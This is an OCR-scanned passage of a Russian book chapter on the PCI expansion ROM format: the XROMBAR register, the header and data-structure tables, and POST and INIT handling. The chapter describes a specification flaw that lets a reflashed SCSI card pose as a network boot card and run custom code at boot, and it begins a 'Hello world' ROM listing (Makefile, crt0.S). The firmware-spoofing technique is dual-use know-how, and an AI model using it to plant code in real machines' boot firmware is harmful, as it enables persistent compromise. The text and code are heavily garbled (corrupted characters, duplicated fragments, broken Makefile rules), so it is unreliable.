у ^4. Регистр XROMBAR BIOS
^аты расширения PCI
iQg расширения некоторых устройств PCI, особенно устройств, предназна- енных для использования в платах расширения архитектуры ПК, должна хранится локально, т. е. в чипе, установленном на плате расширения. Базовый ад- и размер таких BIOS расширения хранятся и обрабатываются в 4-байтном егистре по смещению зон в предопределенном заголовке типа о он. Этот регистр называется xrombar (регистр BAR BIOS расширения). Организация этого регистра показана на рис. 7.1. Данный регистр функционирует таким же образом, как и 32-битный регистр BAR, за исключением того, что младшие биты кодируются и используются иначе. Старшие 21 бит задают базовый адрес BIOS расширения. Из этих 21 бита, количество битов, которые устройство реализует на самом деле, зависит от объема адресного пространства, необходимого устройству. Например, устройство, требующее 64 Кбайт адресного пространства для отображения своего чипа ROM BIOS, использует старшие 16 битов этого регистра и жестко устанавливает младшие, так называемые безразличные, 5 бит в 0. Устройства, поддерживающие BIOS расширения, должны реализовать этот регистр.
Объем адресного пространства, необходимого устройству, определяется аппаратно-независимым программным обеспечением. Это осуществляется за счет записи значения 1 в адресную часть регистра и последующего считывания этого значения. Устройство возвращает 0 во всех безразличных битах, В сущности, задавая свои потребности в адресном пространстве. Объем адресного пространства, запрашиваемого устройством, не может превышать 16 Мбайт.
31Базовый адрес BIOS расширения [ (Старшие 21 бит)31Базовый адрес BIOS расширения [ (Старшие 21 бит)11 1011 10Зарезервировано!Зарезервировано!оо
31
Базовый адрес BIOS расширения [ (Старшие 21 бит)
31
Базовый адрес BIOS расширения [ (Старшие 21 бит)
11 10
11 10
Зарезервировано!
Зарезервировано!
о
о
Бит активации BIOS расширения,! разрешающий ее использование I
Рис. 7.1. Схема регистра XROMBAR PCI
Бит 0 регистра используется для управления доступом к BIOS расширеН11я устройства. Когда этот бит установлен в 0, доступ к адресному пространству BIOS расширения запрещен. Установка значения этого бита в 1 разрещает декодирование адресов, с использованием параметров из другой части базо вого регистра. Таким образом, в зависимости от конфигурации системы, уск ройство может использоваться или с BIOS расширения, или без нее. Бит пр0. странства памяти в регистре управления имеет приоритет над битом разрешающим использование BIOS платы расширения. Устройство должно реагировать на обращения к своей BIOS только в том случае, когда оба бита установлены в единицу. После аппаратного сброса бит пространства памяти в управляющем регистре установлен в 0.
Чтобы свести к минимуму число декодеров адреса, устройство может применять один и тот же декодер для регистра xrombar и других регистров BAR. Когда декодирование адресов BIOS расширения разрешено, обращение к BIOS расширения выполняется только через декодер, и аппаратно-независимое программное обеспечение не должно обращаться к ROM BIOS через любые иные регистры BAR.
BIOS плат расширения PCI
В предыдущем разделе была рассмотрена аппаратная реализация BIOS плат расширения PCI. Регистр xrombar используется для адресации чипа ROM BIOS, установленного в соответствующую плату расширения PCI.
Спецификация PCI предоставляет механизм, посредством которого устройства могут предоставлять код BIOS платы расширения, который может инициализировать конкретное устройство и, возможно, осуществить загрузку операционной системы. Данный механизм позволяет хранить в чипе ROM несколько образов BIOS, предназначенных для работы с компьютерами и процессорами различных архитектур. В этом разделе объясняется, как разместить несколько образов кода в BIOS платы расширения. Обратите внимание, что устройства PCI, поддерживающие BIOS платы расширения, должны Ра3 решать доступ к ROM любыми комбинациями байтов. В особенности, эТ° означает, что должны поддерживаться обращения к BIOS платы расширений двойными словами.
^формация в ROM имеет формат, обеспечивающий совместимость с суще- сТВуюШими заголовками BIOS расширения архитектуры Intel х86 для плат яСщирения ISA, EISA и МС, но она также доступна для других компьютер- х архитектур. Объем информации, доступной в заголовке, был увеличен целью оптимизации использования функциональных возможностей платы расширения и минимизации объема памяти, занимаемой частью кода BIOS расширения, исполняемой во время штатной работы системы. Информация заголовка BIOS расширения PCI поддерживает следующие функции:
Код длины (length code) указывает общий объем непрерывного адресного пространства, необходимого образу BIOS устройства PCI при инициализации.
Индикатор (indicator) указывает тип исполняемого или интерпретируемого кода, расположенного в адресном пространстве ROM в каждом образе BIOS расширения.
Номер версии (revision level) указывает номер версии кода и данных BIOS расширения.
BIOS расширения содержит идентификатор производителя (Vendor ID) и идентификатор устройства (Device ID) поддерживаемого устройства PCI.
Основное отличие исполнения BIOS плат расширения PCI от исполнения BIOS плат расширения ISA, EISA и МС заключается в том, что BIOS расширения PCI никогда не исполняется из своего чипа ROM. BIOS плат ISA, EISA и МС исполняется из чипа ROM .BIOS, в то время как BIOS плат PCI сначала копируется из чипа ROM BIOS в RAM, а затем исполняется из RAM. Это позволяет динамически изменять размер кода (для инициализации и во время исполнения), а также позволяет увеличить скорость исполнения кода при штатной работе.
*5.1. Содержимое BIOS плат расширения PCI
BIOS расширения устройств PCI могут содержать код (исполняемый или инТеРпретируемый) для различных процессорных архитектур. Эта возможность ^ожет быть реализована в одном физическом чипе ROM, где можно помесь необходимое количество образов кода для различных системных и проц сорных архитектур (рис. 7.2). Каждый образ должен начинаться на границ 512-байтного сегмента и содержать заголовок BIOS расширения PCI. ^Чало каждого образа зависит от размера предыдущих образов. В заголовке еднего образа, в поле индикатора (Indicator) имеется специальный бит, "ф ь,вающий, является ли данный образ последним (см. разд. 7.1.5.1.2, °Рмат структуры данных PCI").
Рис. 7.2. Структура BIOS плат расширения PCI
Формат заголовка BIOS расширения PCI
Обязательная информация в каждом образе BIOS делится на две области. Первая область — заголовок BIOS — должна находиться в начале каждого образа BIOS. Вторая область — структура данных PCI — должна находиться в первых 64 Кбайт образа. Формат заголовка BIOS расширения PCI приведен в табл. 7.1. Смещения полей от начала образа указаны шестнадцатеричными значениями; размер каждого образа дается в байтах. Расширения заголовка BIOS устройств PCI, структура данных PCI или и то и другое могут определяться конкретной системной архитектурой. Расширения для систем, совместимых с архитектурой PC-АТ, описаны далее (см. разд. 7.1.5.2, "PC-совместимые BIOS расширения").
Таблица 7.1. Формат заголовка BIOS платы расширения PCI
Смещение
Длина
Значение
Описание
Oh
1
55h
Сигнатура BIOS, байт 1
lh
1
AAh
Сигнатура BIOS, байт 2
2h-17h
16h
Xx
Зарезервировано (данные, определяемые конкретной процессорной архитектурой)_____/
18h-19h
2
Xx
Указатель на структуру данных PCI>
□ Сигнатура BIOS. Поле, размером в 2 байта; значение первого байта "" 55h, второго — аан. Сигнатура должна занимать первые 2 байта адресног0 пространства ROM каждого образа BIOS.
указатель на структуру данных PCI. Это — 2-байтный указатель в форма- ^ те следования байтов, начиная с младшего (little-endian). Системная BIOS находит структуру данных PCI, извлекая этот указатель по смещения I8h- 9h> отсчитывая от начала образа BIOS.
1 5.1-2- Формат структуры данных PCI
Структура данных PCI должна быть размещена в первых 64 Кбайтах образа glOS. Она выравнивается по границе двойного слова. Информация, содержащаяся в структуре данных PCI, представлена в табл. 7.2.
Таблица 7.2. Формат структуры данных PCI
Смещение
Длина
Описание
о.
4
Сигнатура — строка pcir
4
2
Идентификатор производителя (Vendor ID)
6
2
Идентификатор устройства (Device ID)
8
2
Указатель на необходимые данные о продукте
А
2
Длина структуры данных PCI
С
1
Статус изменения структуры данных PCI (revision)
D
3
Код класса (Class code)
10
2
Длина образа (Image length)
12
2
Статус изменения кода/данных (Revision level of code/data)
14
1
Тип кода (Code type)
15
1
Индикатор (Indicator)
16
2
Зарезервировано
^ Сигнатура. Эти четыре байта представляют собой уникальную сигнатуру структуры данных PCI. Первый байт строки pcir расположен по смещению 0, второй — по смещению 1 и т. д. Системная BIOS использует эту сигнатуру для подтверждения того, что данная структура действительно представляет собой структуру данных PCI.
^ Идентификатор производителя. Это 16-битное поле идентификатора производителя (Vendor ID) содержит то же самое значение, что и одноименное поле для данного устройства в конфигурационном пространстве (см. рис. 1.7).
Идентификатор устройства. Это 16-битное поле идентификатора устр0$ ства (Device ID) содержит то же самое значение, что и одноименное гюле для данного устройства в конфигурационном пространстве (см. рис. 1.7).
Указатель на необходимые данные о продукте. Это — 16-битное поЛе в формате следования байтов, начиная с младшего (little-endian). Оно со. держит смещение, отсчитываемое относительно начала образа BIOS, по которому располагаются данные VPD (vital product data — необходимые данные о продукте). Данные VPD должны быть размещены в первых 64 Кбайт образа BIOS. Если данное поле содержит значение о он, это означает, что данный образ BIOS не содержит данных VPD.
Длина структуры данных PCI. Это 2-байтное поле формата little-endian указывает длину структуры данных в байтах, отсчитывая от начала первого байта поля сигнатуры.
Статус изменения структуры данных PCI (PCI data structure revision). Это 8-битное поле указывает статус изменения данной структуры данных. В рассматриваемом случае статус изменения равняется он.
Код класса (Class code). Данное 24-битное поле содержит то же самое значение, что и одноименное поле для данного устройства в конфигурационном пространстве (см. рис. 1.7).
Длина образа (Image length). Это 2-байтное поле имеет формат следования байтов, начиная с младшего. Оно указывает размер образа в 512-байтных блоках.
Статус изменения (Revision level). Это 2-байтное поле указывает статус изменения кода в данном образе BIOS.
Тип кода (Code type). Это 1 -байтное поле указывает тип кода, содержащегося в данной секции BIOS. Код может представлять собой исполняемый двоичный код, разработанный для конкретной процессорной и системной архитектуры или же являться интерпретируемым кодом. Назначаемые типы кодов показаны в табл. 7.3.
Таблица 7.3. Допустимые значения типа кода, устанавливаемые в поле Code type
Тип
Описание
0
Intel х86, PC/AT-совместимый
1
Открытый стандарт программно-аппаратных средств для PCI42
2-FF
Зарезервировано-
^ Индикатор (Indicator). Бит 7 в этом поле указывает, является ли этот образ последним. Если этот бит установлен, то данный образ является последним. Биты 0—6 зарезервированы.
7,1.5.2. PC-совместимые BIOS расширения
g этом разделе продолжается описание спецификации образов BIOS и обра- 5отки образов BIOS для PC-совместимых систем. Это относится к любому образу» для которого в поле типа кода структуры данных PCI указано значение 0 (Intel х86 и PC/AT-совместимый), и к любой PC-совместимой платформе. Для обеспечения PC-совместимости, к стандартному заголовку для образов BIOS расширения PCI добавлено два поля. Первое поле, со смещением 02h, указывает размер образа при инициализации. Второе поле, по смещению озь, указывает точку входа для функции init BIOS расширения (см. табл. 7.4).
Таблица 7.4. Формат заголовка PC-совместимого BIOS расширения
Смещение
Длина
Значение
Описание
Oh
1
55h
Сигнатура BIOS, байт 1
lh
1
AAh
Сигнатура BIOS, байт 2
2h
1
XX
Размер кода при инициализации, выраженный в блоках по 512 байт
3h
3
XX
Точка входа для функции init. Процедура POST выполняет far call по этому адресу
6h-i7h
12h
XX
Зарезервировано (данные, специфичные для конкретного приложения)
18h-i9h
2
XX
Указатель на структуру данных PCI
Расширения кодов POST
^ PC/AT-совместимых системах код POST копирует в RAM количество бай- т°в> указанное в поле размера кода при инициализации (см. табл. 7.4), затем передает управление функции init по адресу, указанному полем по р^Щению озь от начала заголовка PC-совместимой BIOS расширения. Код должен разрешить запись в область RAM, в которую был скопирован
код BIOS, и гарантировать возможность записи в эту область до тех пор, пока функция init BIOS расширения не возвратит управление процедуре POST Таким образом, эта функция сможет хранить статические данные в этой области RAM и установить минимальный размер кода для штатной работы При обработке каждой BIOS расширения, код системной процедуры POST выполняет следующие действия:
BIOS платы расширения отображается на свободную область адресного пространства памяти, и эта область памяти активизируется.
Отыскивается необходимый образ BIOS в ROM платы расширения. Этот образ копируется из ROM в область совместимости в RAM (обычно в диапазон адресов сооооь-еооооь). Размер копируемого кода извлекается из поля размера кода при инициализации (поле расположено по смещению 02h, см. табл. 7.4).
Блокируется регистр xrombar.
Область RAM, в которую скопирован код, оставляется доступной для записи, и вызывается функция init.
Объем памяти, необходимой коду при штатной работе системы, определяется значением по смещению 02h (см. табл. 7.4). Обратите внимание, что функция init могла изменить значение после того, как оно было прочитано на шаге 2.
Перед загрузкой системы код POST должен защитить от записи область RAM со скопированным кодом BIOS расширения (перевести ее в состояние "только чтение"). Код POST обрабатывает устройства VGA, имеющие BIOS расширения, особым образом. А именно код BIOS расширения устройств VGA должен быть скопирован в сегмент сооооь. Является ли данное устройство устройством VGA, можно определить по значению поля кода класса в конфигурационном пространстве устройства.
Расширения функции INIT
PC-совместимые BIOS расширения содержат функцию init, ответственную за инициализацию устройств ввода-вывода и подготовку к штатной работе-
Функции init в BIOS плат расширения PCI могут иметь расширенные возможности, так как во время их исполнения разрешена запись в область RAM,
в которую скопирован их код.
Во время исполнения, функция init может сохранять статические параметр111 в своей области RAM. Эти данные могут использоваться BIOS или драйвер3 ми устройств во время штатной работы системы, при которой запись в ДаН ную область RAM будет запрещена.
функция init также может устанавливать объем RAM, необходимый ей во время штатной работы, путем изменения значения поля размера кода по смешению 02h в образе BIOS (см. табл. 7.4). Это позволяет сэкономить ог-
аНиченные ресурсы памяти области BIOS расширений (cooooh-DFFFFh).
Цапример, для кода инициализации BIOS расширения устройства может быть необходимо 24 Кбайт, а для кода работы в штатном режиме — только g Кбайт. Размер кода инициализации в образе BIOS будет указан как 24 Кбайт, и код процедуры POST скопирует весь образ в RAM. Когда функция init будет вызвана и начнет исполнение, она изменит значение этого поля на 8 Кбайт. После того как функция init завершит исполнение, код POST определит, что размер кода для штатной работы составляет 8 Кбайт, что позволит ему скопировать необходимый код в оптимальную область RAM.
Кроме того, функция init ответственна за проверку и пересчет контрольной суммы размера образа. Если функция init модифицирует область RAM, в которой был сохранен образ, она должна вычислить новую контрольную сумму и сохранить ее в этом образе.
Чтобы удалить себя из области BIOS расширений, функция init записывает нуль в поле размера при инициализации (байт по смещению 02h). В этом случае вычислять контрольную сумму не требуется (так как нет образа, для которого можно было бы вычислить контрольную сумму). При вызове функции init, ей передаются три параметра: номер шины, номер устройства и номер функции устройства, чья BIOS расширения используется. Эти параметры используются для получения доступа к инициализируемому устройству. Параметры передаются в регистрах х86-совместимого процессора: номер шины — в регистре ан, номер устройства — в старших 5 битах регистра al, а номер функции — в младших 3 битах регистра al.
Перед вызовом функции init, код процедуры POST выделяет устройству ресурсы (с помощью регистра BAR и регистра линии прерываний) и завершает обработку всех дополнительных возможностей, определяемых пользователем.
•5.2.3. Структура образа
С PC -совместимым образом связано три значения, определяющих длину — Длина при штатной работе (runtime length), длина при инициализации initialization length) и полная длина образа (total image length). Полная длина °браза должна быть большей или равной длине при инициализации.
Длина при инициализации устанавливает длину образа, содержащего как код ИниЦиализации, так и код времени исполнения. Именно этот объем кода про- Дедура POST копирует в RAM перед исполнением подпрограммы инициали- 3аЦии. Длина при инициализации должна быть большей или равняться длине
11 Эак |387 .
времени исполнения. Контрольная сумма кода, скопированного в RAM (вЬ| численная по стандартному алгоритму), должна быть равна 0.
Длина времени исполнения устанавливает длину образа, содержащего код времени исполнения. Это — объем кода, необходимого в процессе штатной работы и оставленного процедурой POST в RAM после загрузки системы Контрольная сумма этого кода также должна быть равна 0.
Структура данных PCI должна содержаться в части кода образа, используемой для штатной работы, если таковая имеется. В противном случае, она должна находиться в части кода, используемой для инициализации.
Структура Plug-and-Play BIOS платы расширения PCI
Зная структуру BIOS расширения PCI (см. разд. 7.1.4) и структуру Plug-and- Play BIOS (см. разд. 7.1.5), можно аналитическим путем определить структуру Plug-and-Play BIOS расширения PCI (рис. 7.3).
OhOh2h2h3h3hAA55h (Сигнатура BIOSплаты расширения)xxh (размер BIOSплаты расширения)jmp INITAA55h (Сигнатура BIOSплаты расширения)xxh (размер BIOSплаты расширения)jmp INIT
Oh
Oh
2h
2h
3h
3h
AA55h (Сигнатура BIOSплаты расширения)xxh (размер BIOSплаты расширения)jmp INIT
AA55h (Сигнатура BIOSплаты расширения)xxh (размер BIOSплаты расширения)jmp INIT
18h18h1Ah1AhУказатель на структуруданных PCIУказатель на структуруданных Plug and PlayУказатель на структуруданных PCIУказатель на структуруданных Plug and Play
18h
18h
1Ah
1Ah
Указатель на структуру
данных PCI
Указатель на структуруданных Plug and Play
Указатель на структуру
данных PCI
Указатель на структуруданных Plug and Play
Структура данных PCIСтруктура данных PCI
Структура данных PCI
Структура данных PCI
Структура данных Plug and Play
Функция IN IT
Байты-заполнители
Контрольнаясумма
Рис. 7.3. Структура Plug-and-Play BIOS расширения PCI
м<н° заметить, что не каждая BIOS расширения РС1 имеет структуру, показную на рис. 7.3. Некоторые BIOS расширения PCI придерживаются только ^ецИфикации BIOS расширения PCI, но не поддерживаются спецификацией p]Ug-and-Play. В главе 8 будет приведен пример такой BIOS расширения. [Громе того, контрольная сумма не обязательно должна располагаться так, как показано на рис. 7.3. Она может храниться в любом месте свободной облети BIOS расширения PCI, заполненной холостыми байтами, или даже в дрУг0М месте Двоичного кода BIOS, не используемого для хранения функционального кода BIOS.
Наконец, необходимо сделать еще одно замечание. Как правило, BIOS расширения PCI, придерживающиеся как спецификации BIOS расширения PCI, так и спецификации Plug-and-Play, представляют собой BIOS расширения загрузочных устройств, включая контроллеры RIAD и SCSI, сетевые платы для удаленной загрузки по сети, а также некоторые другие экзотические загрузочные устройства.
Особенности BIOS плат расширения PCI
Как было показано в разд. 7.1, в спецификации PCI и спецификации Plug-and- Play BIOS имеется ошибка, которую можно использовать в своих целях. А именно:
Ни в одной из этих спецификаций не требуется, чтобы системная BIOS сверяла функциональные возможности BIOS платы расширения PCI с физическим кодом класса, жестко прошитом в чипе PCI. Это означает, что любой карте расширения PCI, имеющей собственную BIOS, этой BIOS можно присвоить другие функциональные возможности, не связанные с соответствующим чипом PCI. Все, что соответствующий чип PCI должен сделать для того, чтобы можно было активировать функциональность BIOS расширения PCI, это разрешить для себя поддержку BIOS расширения в своем регистре xrombar.
Например, таким образом можно "хакнуть" плату контроллера SCSI PCI, имеющую BIOS расширения, заставив ее вести себя таким образом, чтобы Plug-and-Play BIOS принимала ее за настоящую сетевую плату. С такой платы можно загрузиться "удаленно по сети".
Я экспериментировал с этой ошибкой, и все действительно так и работало. Изгнив содержимое BIOS платы расширения PCI таким образом, чтобы оно вы- ^ядело как плата PCI RPL, я смог выполнить код собственной разработки для & $ платы расширения PCI. Эксперименты я проводил над сетевыми платами ealtek 8139А и Adaptec AHA-2940U SCSI, применяя следующие приемы:
^ Сетевая плата Realtek 8139А (идентификатор производителя = юесь, идентификатор устройства = 8i39h). Это настоящая сетевая плата PCI, которую я использовал в качестве образца для сравнения. В нее я установил чип флэш-
ROM Atmel AT29C512 (64 Кбайт), приобретенный отдельно, так как плаТа поставляется без флэш ROM. Я прошил в этот чип экспериментальную BIOS расширения PCI с помощью утилиты прошивки, предоставляемой Realtek .(rtflash.exe). Адресное пространство, потребляемое чипом фЛЭЦ1 ROM, было разблокировано и установлено в регистре xrombar чипа с помо. щью утилиты rset8139.exe от Realtek. Эта процедура была исполнена до то. го, как в чип была прошита экспериментальная BIOS расширения. Нужно помнить, что чип BIOS расширения будет недоступен до тех пор, пока ре. гистр xrombar не будет проинициализирован правильными значениями, за исключением тех случаев, когда чипу ROM выделяется определенное ад. ресное пространство жестко прошитым значением регистра xrombar.
□ Сетевая плата Adaptec AHA-2940U SCSI (идентификатор производителя = 9004, идентификатор устройства = 8178). Эта плата поставляется со впаянным чипом флэш ROM SST 29ЕЕ512 в корпусе PLCC (64 Кбайт). Я прошил в этот чип экспериментальную BIOS платы расширения PCI с помощью утилиты прошивки, предоставляемой Adaptec (flash4.exe). Данная утилита поставляется, вместе с обновлением BIOS контроллера SCSI PCI от Adaptec. Значение регистра xrombar чипа контроллера SCSI было жестко прошито, что обеспечивало поддержку чипа флэш ROM объемом в 64 Кбайт. Результат, полученный в данном эксперименте, оказался несколько странным — независимо от того, как я менял установки BIOS (опцию удаленной загрузки через сеть), всегда исполнялась подпрограмма инициализации PCI, а не подпрограмма BEV. Я полагаю, это происходит, потому что коды подкласса (Subclass code) и интерфейса (Interface code) чипа контроллера находятся в чипе PCI, который относится к загрузочному устройству SCSI. "Хакнутая" плата ведет себя как настоящая сетевая плата PCI — при установленной в BIOS материнской платы опции удаленной загрузки по сети, система загружается с "хакнутой" платы и вызывает экспериментальную подпрограмму BEV из разработанной мной BIOS расширения PCI.
Пример реализации
В этом разделе приводится подробное описание реализации экспериментальной BIOS расширения PCI. Данная BIOS расширения исполняется после того* как в процессе загрузки системы, BIOS материнской платы выполнит инициализацию и передаст управление экспериментальной BIOS расширения, выполнив безусловный переход по вектору BEV BIOS расширения.
Аппаратные средства испытательной пЛатформы
g эксперименте была задействована плата контроллера Adaptec AHvV2940U Ultra PCI SCSI (идентификатор PCI производителя = 0x9004, иденти<фикатОр pCl устройства = 0x817 8). BIOS данной платы хранится во впаянном ЧИПе флэш-ROM SST 29ЕЕ512 в корпусе PLCC.
Конфигурация аппаратной части компьютера, использованного в качестве платформы для разработки и испытания BIOS платы расширения, пр^ведена в табл. 7.5.
Таблица 7.5. Аппаратная конфигурация ПК разработки и иоггытанид
Процессор
Intel Pentium II 450 МГц
Материнская плата
Iwill VD133 (slot 1) с северным мостом VIA 693А и юж_ ным мостом VIA 596В
Видеоплата
PowerColor Nvidia Riva TNT2 М64 32 МБ
RAM
256-МБ SDRAM
Аудиоплата
Addonics Yamaha YMF724
Сетевая плата
Realtek RTL8139C
"Хакнутая" плата PCI
Плата контроллера Adaptec AHA-2940U PCI SCSI
Жесткий диск
Maxtor 20 Гбайт 5400 об/мин
CD-ROM
Теас 40Х
Монитор
Samsung SyncMaster 551 v (15‘)
Инструменты разработки
Для разработки этого примера использовался следующий инструментдрИй:
^ Среда разработки с компилятором, ассемблером и компоновщиком для архитектуры х86. Я воспользовался программами GNU, а именноассемблером GNU AS, компоновщиком GNU LD, компилятором GNlj GCC и программой управления компиляцией GNU Make. Операционно^ системой на компьютере, использованным в качестве платформы разр^дотки была Slackware Linux 9.0. Для редактирования я воспользовался р^дакт0- Ром Vi Editor, а для управления всеми этими инструментами — °боЛочкой Bourne Again Shell (bash). Обратите внимание, что компоновщик GNU LD
должен поддерживать формат объектных файлов ELF. Обычно все дистрп. бутивы Linux поддерживают этот формат объектных файлов по умолчанию. Для исследования результатов разработки я воспользовался встроенной утилитой Linux, предназначенной для просмотра шестнадцатеричных дам. пов (hexdump).
Утилита для прошивки контрольной суммы модифицированной Plug-and- Play BIOS расширения PCI. Как было показано в разд. 7.1, для действительной BIOS расширения PCI требуется вычислить несколько контрольных сумм. Так как выполнить эту задачу в среде разработки нет возможности, я разработал специальную утилиту для вычисления контрольных сумм BIOS плат расширения. Исходный код этой утилиты предоставлен в одном из следующих разделов.
Утилита прошивки BIOS расширений PCI для платы AHA-2940UW от Adaptec. Утилита называется flash4.exe и поставляется вместе с дистрибутивом Adaptec AHA-2940UW BIOS версии 2.57.2. Утилита работает в реальном режиме DOS, а также потребует расширитель DOS DOS4GW. Данный расширитель DOS поставляется в комплекте с дистрибутивом Adaptec PCI BIOS.
Исходный код BIOS расширения
Вкратце, процесс, протекающий при исполнении скомпилированного кода, можно описать следующим образом:
При исполнении процедуры POST, системная BIOS проверяет каждую плату расширения PCI на наличие BIOS расширения PCI, исследуя регистр xrombar соответствующей платы. Если плата реализует BIOS расширения, то системная BIOS копирует ее из области, указанной регистром xrombar, в область BIOS-расширений в RAM. Затем системная BIOS исполняет безусловный переход к функции init в BIOS расширения PCI. После того как BIOS расширения PCI закончит выполнение функции инициализации, управление передается обратно системной BIOS. Системная BIOS проверяет размер инициализированной BIOS расширения PCI для штатного режима работы. BIOS расширения PCI следующей платы Pd (если такова имеется) копируется в RAM по следующему адресу:
адрес_след_В105_расш = адрес_пред_В105_расш +
штатный_размер_пред_В105_расш
Таким образом, область ненужного кода предыдущей BIOS расширения, скопированной в RAM, переписывается следующей BIOS расширения.
п После того как все BIOS расширения PCI инициализированы, системная BIOS переводит область BIOS расширений в RAM в состояние "только чтение". Если вам требуется, чтобы код мог самомодифицироваться, вы можете предотвратить его защиту от записи, скопировав его в RAM по адресу 0000:0000b.
После этого системная BIOS выполняет процедуру загрузки операционной системы. Процесс начинается с поиска устройства IPL. Если по умолчанию BIOS материнской платы сконфигурирована таким образом, чтобы удаленно загружать операционную систему по сети, устройством IPL будет сетевая плата. Прерывание i9h (загрузка системы) указывает на точку входа для загрузки вектора BEV расширения Plug-and-Play BIOS сетевой платы и передает управление по этому адресу. Код будет исполняться в защищенной от записи области RAM, на которую указывает вектор BEV. Таким образом, в коде не будет перезаписываемых участков, если только часть этого кода не была загружена в область RAM, в которую разрешена запись, и не исполняется из этой области.
После этого исполняется наша собственная Plug-and-Play BIOS платы расширения PCI. Код нашей BIOS расширения копируется из области BIOS расширений в область RAM с физическим адресом оооо_ооооь и продолжает исполнение оттуда. При исполнении, код переводит компьютер в 32-битный защищенный режим и выводит на монитор строку "Hello world!", после чего начинает исполняться в бесконечном цикле.
В следующих двух разделах рассматривается исходный код нашей собственной BIOS расширения. В первом из них приводится и рассматривается исходный код нашей BIOS расширения, а во втором — исходный код утилиты, С помощью которой прошивается двоичный файл, полученный после перемещения исходного кода, рассмотренного в первом разделе, в действительную Plug-and-Play BIOS расширения PCI.
7-3.3.1. Основной исходный код Plug-and-Play BIOS Расширения PCI
Сходный код, приведенный в этом разделе, демонстрирует, каким образом ^ожет выглядеть исходный код Plug-and-Play BIOS платы расширения PCI. °Д состоит из следующих файлов:
^ Makefile. Файл makefile используется для создания двоичного кода BIOS.
^ CrtO.S. Файл на языке ассемблера. Он содержит все необходимые заголовки и точку входа для BEV. Исходный код, содержащийся в этом файле,
переводит компьютер из реального режима работы в 32-битный защищу ный режим и подготавливает среду исполнения для модулей, откомпили- рованных с помощью компилятора для языка программирования С.
Main.c. Исходный код на языке программирования С, которому передает- ся управление сразу же после того, как код из файла crtO.S завершает исполнение. Этот код выводит сообщение "Hello world”, после чего входит в бесконечный цикл.
Video.c. Исходный код на языке программирования С, который предоставляет вспомогательные функции для вывода символов на монитор. Функции взаимодействуют непосредственно с аппаратным обеспечением видеобуфера. Функции вызываются из модуля main.с.
Ports.c. Исходный код на языке С, предоставляющий функции для непосредственного взаимодействия с аппаратными средствами. Функции выполняют операции чтения и записи в устройства ввода-вывода и вызываются из модуля video.c.
Pci_rom.ld. Сценарий компоновщика, который компонует и перемещает объектный файл, полученный после компиляции исходных файлов crtO.S, video.c, ports.c и main.c.
Полный исходный код экспериментальной BIOS показан в листингах 7.1—7.6.
Листинг 7.1. Ф йл makefile для основного кода BIOS расширения
Файл makefile операционной системы BIOS расширения
Copyright (С) 2005 Darmawan Mappatutu Salihun
Этот файл можно использовать только для некоммерческих целей. #
СС = дсс
CFLAGS = -с
LD = Id
LDFLAGS = -Т pci_rom.ld
ASM = as
OBJCOPY = objcopy
OBJCOPY_FLAGS = -v -O binary
OBJS:= crtO.6 main.o ports.c video.о
ROM_OBJ = rom.elf ROM,BIN = rom.bin r0M_SIZE = 65536
all: $(OBJS)
$(LD) $(LDFLAGS) -O $(ROM_OBJ) $(OBJS)
$(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN)
build_rom $(ROM_BIN) $(ROM_SIZE)
crtO.o: crtO.S
$(ASM) -O $@ $<
%.O: %-C
$(CC) -O $@ $(CFLAGS) $<
clean:
rm -rf *~ *.o *.elf *.bin
Листинг 7.2. Файл crtO.s
#
Copyright (C) Darmawan Марра tutu Salihun
Имя файла : crtO.S
Этот файл можно использовать только для некоммерческих целей. #
#
•text
• code16 # Реальный режим по умолчанию.
# (ставим префикс 66 или 67 перед 32-битными инструкциями)
* ВНИМАНИЕ!!!
* Обязательно синхронизируйте абсолютный адрес в который загружается код °C здесь с адресом, определенным в сценарии компоновки (script.Ink)
* Для секции .init (т. е. секции в crtO.S).
ronLsize= 0x04°s~load_seg= 0x0000ronLsize= 0x04°s~load_seg= 0x0000#
ronLsize= 0x04
°s~load_seg= 0x0000
ronLsize= 0x04
°s~load_seg= 0x0000
Размер ROM в сегментах по 512 байт.
Этот код работает, если Igdt передается # абсолютным адресом.
os_code_size = ((rom_size - 1)*512) os_code_sizel6 = ( os_code_size / 2 )
#
# Заголовок BIOS расширения #
.word 0xAA55#
Байты 1 и 2 сигнатуры BIOS.
.byte rom_size#
jnp_init#
#
Размер данной BIOS
Безусловный переход к подпрограмме инициализации.
.org 0x18
.word _pci_data_struct #
Указатель на структуру заголовка
#
PCI по 18h.
.word _Plug-and-Play_ # header
Указатель на расширенный заголовок
#
Plug-and-Play по lAh
# Структура данных PCI
#1
_pci_data_struct:
.ascii "PCIR"#
Сигнатура заголовка PCI
.word 0x9004#
Идентификатор производителя
.word 0x8178#
Идентификатор устройства
.word 0x00#
Необходимые данные о продукте (VPD)
.word 0x18#
Длина структуры данных PCI (байт).
.byte 0x00#
Статус изменения структуры PCI
.byte 0x02#
Код базового класса,
#
02h == сетевой контроллер
.byte 0x00#
Код подкласса = 00h и интерфейс = 00h
#
--▻Контроллер Ethernet.
.byte 0x00#
Код интерфейса, см. спецификацию
#
PCI Rev2. в Приложение D.
.word rom_size#
Длина образа в сегментах по 512 байт,
#
прямой порядок байтов.
.word 0x00#
Статус изменения.
.byte 0x00#
Тип кода = х86.
.byte 0x80#
Признак последнего образа.
.word 0x00#
Зарезервировано.
#
। Заголовок BIOS расширения Plug-and-Play
#-
_pnp-header:
.ascii
"$PnP"
#
Сигнатура заголовка
#
BIOS Plug-and-Play.
.byte
0x01
#
Статус изменения структуры.
.byte
0x02
#
Длина структуры заголовка
#
в блоках по 16 байт.
.word
0x00
#
Смещение следующего заголовка(00 если нет)
.byte
0x00
#
Зарезервировано.
.byte
0x00
#
8-битная контрольная сумма для
#
этого заголовка,
#
вычисленная и прошита утилитой
#
patch2Plug-and-Playrom.
.long
0x00
#
Идентификатор устройства.
#
Plug-and-Play —> Oh
#
в Realtek RPL ROM.
.word
0x00
#
Указатель на строку идентификатора
#
производителя; пустая строка.
word
0x00
#
Указатель на.строку идентификатора
#
продукта; пустая строка.
.byte
0x02, 0x00, 0x00
#
Код типа устройства, 3 байта
.byte
0x14
#
Признак устройства, 14h из RPL ROM --> см.
#
ст. 18 в спецификации Plug-and-Play BIOS;
#
младший полубайт (4)означает
#
устройство IPL.
.word
-word
0x00
0x00
Вектор BCV, OOh = запрещен.
Вектор отключения, OOh = запрещен
.word
„start
# Вектор BEV.
.word
0x00
# Зарезервировано.
.word
0x00
# Вектор получения информации
о статических ресурсах;
(OOOOh если не используется).
#
# Код инициализации BIOS расширения PCI (функция init)
